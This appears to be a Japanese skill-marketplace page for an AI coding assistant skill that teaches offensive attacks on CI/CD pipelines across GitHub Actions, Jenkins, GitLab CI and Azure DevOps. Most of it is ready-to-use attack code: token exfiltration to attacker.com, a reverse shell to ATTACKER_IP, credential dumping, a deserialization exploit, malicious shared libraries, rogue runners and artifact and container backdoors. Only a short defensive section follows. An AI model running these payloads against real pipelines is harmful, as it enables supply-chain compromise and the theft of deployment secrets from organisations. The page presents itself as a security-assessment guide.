mcpField
O
offensive-cicd-pipeline

offensive-cicd-pipeline

github.com/snailsploitセキュリティ9.7k130 回インストール2 週間前に更新
リポジトリ

offensive-cicd-pipeline について

GitHub Actions、Jenkins、GitLab CI、Azure DevOpsを対象とする、CI/CDパイプラインの攻撃的セキュリティ評価ガイドです。設定調査やインジェクションから、認証情報の利用、横展開、防御側の監視まで扱います。

主な機能

  1. 01パイプライン設定とトリガーの調査
  2. 02式やスクリプトのインジェクション経路の特定
  3. 034種類のCI/CDプラットフォームを網羅
  4. 04パイプラインの信頼を利用した横展開
  5. 05防御側の監視指標の提示

活用シーン

  1. 01パイプライン設定のインジェクションリスク確認
  2. 02トークンやシークレットの露出範囲の評価
  3. 03ビルド成果物の汚染リスクの検証
  4. 04CI/CD攻撃の検知策の検討

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/snailsploit/claude-red --skill offensive-cicd-pipeline

インストール後、Claude Code で/offensive-cicd-pipelineを入力して読み込まれたか確認します。

詳細

CI/CD パイプラインの攻撃的な悪用

CI/CD パイプラインは、現代のインフラストラクチャにおいて最も価値の高い標的の 1 つです。パイプラインが侵害されると、信頼されたコンテキストでコードを実行し、デプロイ用認証情報にアクセスし、本番環境のアーティファクトに悪意のあるコードを注入できるようになります。組織がビルドシステムに寄せる暗黙の信頼を悪用します。パイプラインは高い権限でコードを実行し、デプロイ用のシークレットを保持している一方で、本番システムに比べて最小限の監視しか受けていません。

このスキルでは、主要な 4 つの CI/CD プラットフォームに対する悪用方法を扱います。パイプラインの設定を列挙し、インジェクションポイントを特定し、コントリビューター権限から任意のコード実行へと権限を昇格させ、パイプラインへの信頼を利用して環境内を横方向に移動します。

MITRE ATT&CK:T1195.002(サプライチェーンの侵害:ソフトウェアサプライチェーンの侵害)

クイックワークフロー

  1. アクセス可能なリポジトリと、そのパイプライン設定(.github/workflows/, Jenkinsfile, .gitlab-ci.yml, azure-pipelines.yml)を列挙します。
  2. トリガーモデルを特定します。どのイベントでパイプラインが実行され、どのコンテキストに攻撃者が制御する入力が含まれるかを確認します。
  3. 各パイプラインコンテキストのトークンスコープと利用可能なシークレットを整理します。
  4. 自分のアクセスレベル(コントリビューター、外部 PR、認証済みユーザー)に合ったインジェクションベクターを選択します。
  5. 対象プラットフォームの式言語またはスクリプトエンジン向けのペイロードを作成します。
  6. 実行して出力(シークレット、トークン、またはアーティファクトの改変)を取得します。
  7. 取得した認証情報を使ってピボットし、他のパイプライン、レジストリ、インフラストラクチャへアクセスを拡大します。

GitHub Actions の式インジェクション

GitHub Actions は ${{ }} コンテキスト内の式を評価します。攻撃者が制御するデータがサニタイズされずにこれらの式へ流れ込むと、ランナーのコンテキストで任意のコマンドをインジェクションできます。

最も一般的なインジェクション箇所は、PR のタイトル、Issue の本文、ブランチ名、コミットメッセージが run: ステップやアクションの入力に流れ込む部分です。

イベントデータを直接展開している箇所を検索し、脆弱なワークフローを特定します。

# Search for expression injection sinks in workflow files
grep -rn '\${{.*github\.event\.' .github/workflows/
grep -rn '\${{.*github\.head_ref' .github/workflows/
grep -rn '\${{.*github\.event\.pull_request\.title' .github/workflows/
grep -rn '\${{.*github\.event\.issue\.body' .github/workflows/
grep -rn '\${{.*github\.event\.comment\.body' .github/workflows/
grep -rn '\${{.*github\.event\.discussion\.body' .github/workflows/

脆弱なワークフローは、次のようになります。

# Vulnerable: PR title flows directly into shell execution
name: PR Greeting
on: pull_request_target
jobs:
  greet:
    runs-on: ubuntu-latest
    steps:
      - run: |
          echo "Thanks for PR: ${{ github.event.pull_request.title }}"

PR のタイトルからインジェクションします。

"; curl -s https://attacker.com/exfil?token=$(cat $GITHUB_TOKEN) #

workflow_run の悪用では、workflow_run をトリガーとするワークフローはデフォルトブランチのコンテキストで実行されますが、トリガー元のワークフローのアーティファクトにアクセスできます。PR ワークフローから汚染したアーティファクトをアップロードし、workflow_run ワークフローに高い権限で処理させます。

# Attacker's PR modifies the artifact upload step
- uses: actions/upload-artifact@v4
  with:
    name: pr-data
    path: payload.sh

# The workflow_run handler in the default branch processes artifacts unsafely
on:
  workflow_run:
    workflows: ["PR Build"]
    types: [completed]
jobs:
  deploy:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/download-artifact@v4
      - run: bash pr-data/payload.sh  # Executes attacker's code with write access

実行可能な範囲を把握するため、GITHUB_TOKEN の権限を列挙します。

# Inside a compromised workflow step, dump token permissions
curl -sS -H "Authorization: token $GITHUB_TOKEN" \
  -H "Accept: application/vnd.github+json" \
  https://api.github.com/repos/$GITHUB_REPOSITORY | jq '.permissions'

# Check if the token can push to the repository
curl -sS -H "Authorization: token $GITHUB_TOKEN" \
  https://api.github.com/repos/$GITHUB_REPOSITORY/git/refs/heads/main

コンポジットアクションを標的とするサプライチェーン攻撃では、SHA を固定せずに参照されている再利用可能なアクションを狙います。

# Vulnerable: references a tag that can be force-pushed
- uses: org/custom-action@v1

# Secure: references an immutable commit SHA
- uses: org/custom-action@a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2

gato を使用して、GitHub Actions の設定ミスを列挙し、悪用します。

# Enumerate self-hosted runners and vulnerable workflows
gato enumerate -t ghp_TOKENHERE -r org/repo
gato enumerate -t ghp_TOKENHERE -o target-org

# Search for expression injection across an organization
gato search -t ghp_TOKENHERE -o target-org -sg

Jenkins の悪用

Jenkins は、スクリプトコンソール、ビルド設定、共有ライブラリ、Java リモーティングプロトコルを通じて広範な攻撃対象領域を持ちます。ネットワーク上で公開されている Jenkins を発見した場合や、何らかの認証済みアクセスを得た場合に、Jenkins を標的にします。

Groovy スクリプトコンソールによる RCE

スクリプトコンソールにアクセスできる場合(Overall/RunScripts 権限が必要)、Jenkins コントローラーで制限のないコード実行が可能です。

// Direct command execution via script console
def cmd = "id && cat /etc/passwd".execute()
println cmd.text

// Reverse shell from Jenkins controller
def proc = ["bash", "-c", "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"].execute()

// Read Jenkins secrets directly
import hudson.util.Secret
import com.cloudbees.plugins.credentials.CredentialsProvider
import com.cloudbees.plugins.credentials.common.StandardUsernamePasswordCredentials

def creds = CredentialsProvider.lookupCredentials(
    StandardUsernamePasswordCredentials.class,
    Jenkins.instance, null, null
)
creds.each { c ->
    println("ID: ${c.id}")
    println("Username: ${c.username}")
    println("Password: ${c.password.plainText}")
    println("---")
}
Groovy サンドボックスの回避

パイプラインスクリプトは Groovy サンドボックス内で実行されますが、メタプログラミングとリフレクションを使って回避できます。

// Sandbox escape via meta-class manipulation
@Grab('commons-io:commons-io:2.11.0')
import org.apache.commons.io.IOUtils

// Bypass via method pointer and reflection
def bypass = evaluate('''
class Evil {
    static void main(String[] args) {}
    static Object run() {
        def proc = "id".execute()
        return proc.text
    }
}
Evil.run()
''')
println bypass
Jenkins Remoting のデシリアライゼーション

Jenkins のリモーティングポート(通常は 50000)が公開されている場合、Java のデシリアライゼーション脆弱性を悪用します。

# Identify Jenkins remoting port
nmap -sV -p 50000 TARGET_IP

# Use ysoserial to generate deserialization payloads
java -jar ysoserial.jar CommonsCollections1 'curl http://ATTACKER_IP/pwned' > payload.bin

# Deliver via the JNLP protocol
python3 jenkins_exploit.py --target TARGET_IP:50000 --payload payload.bin
共有ライブラリのインジェクション

@Library 経由で読み込まれる Jenkins の共有ライブラリは、サプライチェーンの攻撃ベクターです。ライブラリのリポジトリを侵害すると、それを使用するすべてのパイプラインで自分のコードが実行されます。

// Malicious shared library vars/deploy.groovy
def call(Map config) {
    // Original functionality preserved to avoid detection
    sh "kubectl apply -f ${config.manifest}"

    // Injected exfiltration
    sh '''
        env | base64 | curl -X POST -d @- https://attacker.com/collect
    '''
}

体系的な悪用には jenkins-attack-framework を使用します。

# Enumerate Jenkins instance
python3 jaf.py --url https://jenkins.target.com --enumerate

# Dump all credentials with valid session
python3 jaf.py --url https://jenkins.target.com --cookie "JSESSIONID=abc123" --dump-creds

# Execute command via available build nodes
python3 jaf.py --url https://jenkins.target.com --cookie "JSESSIONID=abc123" \
  --exec "whoami" --node "linux-build-01"

GitLab CI の悪用

GitLab CI パイプラインは .gitlab-ci.yml に基づいて実行され、悪用の機会となる強力な機能をサポートしています。攻撃者は、変数のインジェクション、ランナーの悪用、マージリクエストと保護ブランチ間の信頼境界の侵害を狙います。

マージリクエスト経由の YAML インジェクション

プロジェクトでフォークからのマージリクエストパイプラインが許可されている場合、攻撃者の .gitlab-ci.yml はターゲットのランナー上で実行されます。

# Attacker's .gitlab-ci.yml in a fork
stages:
  - exploit

dump_secrets:
  stage: exploit
  script:
    - env | sort
    - cat /etc/hosts
    - curl -sS --header "PRIVATE-TOKEN: $CI_JOB_TOKEN" \
        "https://gitlab.target.com/api/v4/projects/$CI_PROJECT_ID/variables" | python3 -m json.tool
    - |
      # Attempt to read secrets from runner filesystem
      find / -name "*.env" -o -name "credentials" -o -name "*.key" 2>/dev/null | head -20
      cat ~/.docker/config.json 2>/dev/null || true
ランナー登録トークンの悪用

ランナー登録トークンを入手した場合、不正なランナーを登録してジョブを傍受します。

# Register a malicious runner with broad tag matching
gitlab-runner register \
  --non-interactive \
  --url "https://gitlab.target.com/" \
  --registration-token "GR1348941_STOLEN_TOKEN" \
  --executor "shell" \
  --description "build-node-07" \
  --tag-list "docker,linux,build,deploy" \
  --run-untagged="true"

# The rogue runner now receives jobs and can:
# 1. Capture all environment variables including secrets
# 2. Modify build artifacts before they are published
# 3. Inject code into deployment payloads
CI 変数の抽出

侵害したトークンを使って API 経由で CI/CD 変数を列挙し、抽出します。

# List project-level variables
curl -sS --header "PRIVATE-TOKEN: $GITLAB_TOKEN" \
  "https://gitlab.target.com/api/v4/projects/PROJECT_ID/variables" | jq '.[] | {key, value, protected, masked}'

# List group-level variables (inherited by all projects)
curl -sS --header "PRIVATE-TOKEN: $GITLAB_TOKEN" \
  "https://gitlab.target.com/api/v4/groups/GROUP_ID/variables" | jq '.[] | {key, value}'

# Instance-level variables (requires admin)
curl -sS --header "PRIVATE-TOKEN: $GITLAB_TOKEN" \
  "https://gitlab.target.com/api/v4/admin/ci/variables" | jq '.'
保護ブランチのバイパス

マージリクエストパイプラインとブランチパイプラインの間の隙を悪用し、保護されたコンテキストでコードを実行します。

# Create a merge request that modifies .gitlab-ci.yml
# The MR pipeline runs with the source branch's CI config
# but in the context of the target project's runners and variables

# If the project has "Run pipelines for merge requests from forked projects" enabled,
# your fork's .gitlab-ci.yml executes on their infrastructure
git checkout -b exploit-branch
cat > .gitlab-ci.yml << 'EOF'
protected_job:
  script:
    - echo "$DEPLOY_KEY" | base64
    - echo "$AWS_SECRET_ACCESS_KEY" | base64
  only:
    - merge_requests
EOF
git add .gitlab-ci.yml && git commit -m "Update CI config" && git push origin exploit-branch

Azure DevOps パイプラインの悪用

Azure DevOps パイプラインは YAML またはクラシックエディターの定義を使用します。パイプラインエージェントの侵害、サービス接続の悪用、変数グループの抽出を狙います。

パイプラインエージェントの悪用

セルフホスト型エージェントはビルド間で状態を保持します。この永続性を悪用します。

# azure-pipelines.yml payload targeting self-hosted agent
trigger: none
pr: none

pool:
  name: 'Self-Hosted-Pool'

steps:
- script: |
    # Enumerate the agent environment
    whoami
    hostname
    env | sort

    # Search for cached credentials on the agent
    find /home/ -name ".kube" -o -name ".aws" -o -name ".azure" 2>/dev/null
    cat /home/*/.kube/config 2>/dev/null
    cat /home/*/.aws/credentials 2>/dev/null

    # Check for Docker credentials
    cat /home/*/.docker/config.json 2>/dev/null

    # Look for other pipeline artifacts left behind
    ls -la /agent/_work/
    find /agent/_work/ -name "*.env" -o -name "*.key" -o -name "*.pem" 2>/dev/null
  displayName: 'Agent Recon'
サービス接続の窃取

Azure DevOps のサービス接続には、外部システムの認証情報が保存されています。パイプラインの実行を通じて認証情報を抽出します。

steps:
- task: AzureCLI@2
  inputs:
    azureSubscription: 'Production-Azure-Connection'
    scriptType: 'bash'
    scriptLocation: 'inlineScript'
    inlineScript: |
      # The task injects credentials as environment variables
      echo "Tenant: $tenantId"
      echo "Client: $servicePrincipalId"

      # Extract the service principal token
      az account get-access-token --output json

      # Use the managed identity to enumerate Azure resources
      az resource list --output table
      az keyvault list --output table
      az keyvault secret list --vault-name TARGET_VAULT --output table
変数グループの抽出
# Use the Azure DevOps REST API with a compromised PAT
PAT="STOLEN_PAT_HERE"
ORG="target-org"
PROJECT="target-project"

# List variable groups
curl -sS -u ":$PAT" \
  "https://dev.azure.com/$ORG/$PROJECT/_apis/distributedtask/variablegroups?api-version=7.0" \
  | jq '.value[] | {name, variables}'

# List service connections
curl -sS -u ":$PAT" \
  "https://dev.azure.com/$ORG/$PROJECT/_apis/serviceendpoint/endpoints?api-version=7.0" \
  | jq '.value[] | {name, type, authorization}'

アーティファクトの汚染

アーティファクトの汚染では、ビルドステージからデプロイステージへの引き渡しを狙います。ビルド出力を改変し、デプロイパッケージに悪意のあるコードを注入します。

# GitHub Actions: Intercept artifact upload
# In a compromised build step, modify artifacts before upload
echo 'curl https://attacker.com/beacon' >> dist/entrypoint.sh

# GitLab CI: Poison the artifact cache
# Shared caches between pipelines allow cross-job poisoning
cat > .gitlab-ci.yml << 'EOF'
poison_cache:
  script:
    - echo 'malicious_payload()' >> node_modules/.cache/babel-loader/payload.js
  cache:
    key: shared-build-cache
    paths:
      - node_modules/
    policy: push
EOF

# Jenkins: Modify stashed files between stages
# If you control a build node, modify files after stash
# The unstash on a different node receives your modified files

レジストリパイプラインにおけるコンテナーイメージの汚染:

# Inject a backdoor layer into a build pipeline's Dockerfile
FROM base-image:latest
# Legitimate build steps
COPY . /app
RUN npm install && npm run build
# Injected persistence
RUN curl -sS https://attacker.com/implant -o /usr/local/bin/.svc && chmod +x /usr/local/bin/.svc
ENTRYPOINT ["/usr/local/bin/.svc", "--", "/app/entrypoint.sh"]

検出/防御側の視点

防御側は、CI/CD プラットフォーム全体で以下の兆候を監視する必要があります。

  • ワークフローの変更:外部のコントリビューターやフォークからのプルリクエストで、.github/workflows/、Jenkinsfile、.gitlab-ci.yml、azure-pipelines.yml が変更された場合にアラートを出します。
  • 不審なランナー登録:特に広範なタグ照合を伴うものや、予期しない IP 範囲からの新しいランナー登録を監視します。
  • シークレットへのアクセスパターン:CI ジョブが過去に使用したことのないシークレットにアクセスしていないか、PR 起点のパイプラインでシークレットにアクセスしていないかを確認します。
  • 式インジェクションの兆候:パイプラインのトリガーイベントに関連して、PR のタイトルやイシューの本文にシェルのメタ文字($()、バッククォート、セミコロン、パイプ演算子)が含まれていないか確認します。
  • アーティファクトの整合性:パイプラインのステージ間でビルドアーティファクトのハッシュを検証します。予期しない変更は汚染を示します。
  • トークンスコープの異常:GITHUB_TOKEN または CI_JOB_TOKEN が、パイプラインの想定範囲外で API 呼び出しを行っていないか確認します(例:他のリポジトリへのアクセス、ブランチ保護の変更)。
  • Jenkins 監査ログ:スクリプトコンソールへのアクセス、API 経由での認証情報の列挙、未承認の接続元からの新しいノード登録を監視します。
  • ビルド時間の異常:侵害されたビルドでは、データの持ち出し処理や追加のネットワーク呼び出しにより、所要時間が長くなることがよくあります。
  • ランナーからの外向きネットワーク通信:ビルドエージェントが予期しない外部ホストに接続していないか、特に DNS や HTTPS を使ってレジストリ以外のドメインにデータを持ち出していないか確認します。

主な防御策:

  • すべての GitHub Actions をタグではなく完全なコミット SHA に固定します。
  • pull_request_target の使用を制限し、そのコンテキストで PR のコードをチェックアウトしないでください。
  • ジョブごとに破棄される一時的なランナーを使用します。
  • 長期有効な認証情報を保存する代わりに、クラウド認証には OIDC を導入します。
  • ワークフローファイルの変更にレビューを必須とするブランチ保護ルールを有効にします。
  • 信頼レベルごとにランナープールを分離します。パブリックリポジトリとプライベートリポジトリでランナーを共有しないでください。

攻撃手法早見表

プラットフォーム攻撃ベクトル必要なアクセス権影響
GitHub Actions式インジェクションフォーク/PR(なし)ランナーでの RCE
GitHub Actionsworkflow_run アーティファクト汚染フォーク/PR(なし)デフォルトブランチでの RCE
GitHub Actionsコンポジットアクションのサプライチェーンアクションリポジトリへの書き込みすべての利用者での RCE
JenkinsスクリプトコンソールRunScripts 権限コントローラーでの RCE
JenkinsGroovy サンドボックスの回避ビルド設定の変更コントローラーでの RCE
JenkinsRemoting のデシリアライズネットワークアクセス(50000)コントローラーでの RCE
Jenkins共有ライブラリのインジェクションライブラリリポジトリへの書き込みすべての利用者での RCE
GitLab CIMR パイプライン YAML インジェクションフォーク(なし)ランナーでの RCE
GitLab CIランナートークンの登録トークン漏えいジョブの傍受
GitLab CI変数の抽出API トークンシークレットの窃取
Azure DevOpsエージェントの永続化パイプラインの編集エージェントでの RCE
Azure DevOpsサービス接続の窃取パイプラインの編集クラウドへのアクセス
All Platformsアーティファクト汚染ビルドステップの侵害サプライチェーン

主な参考資料

コメント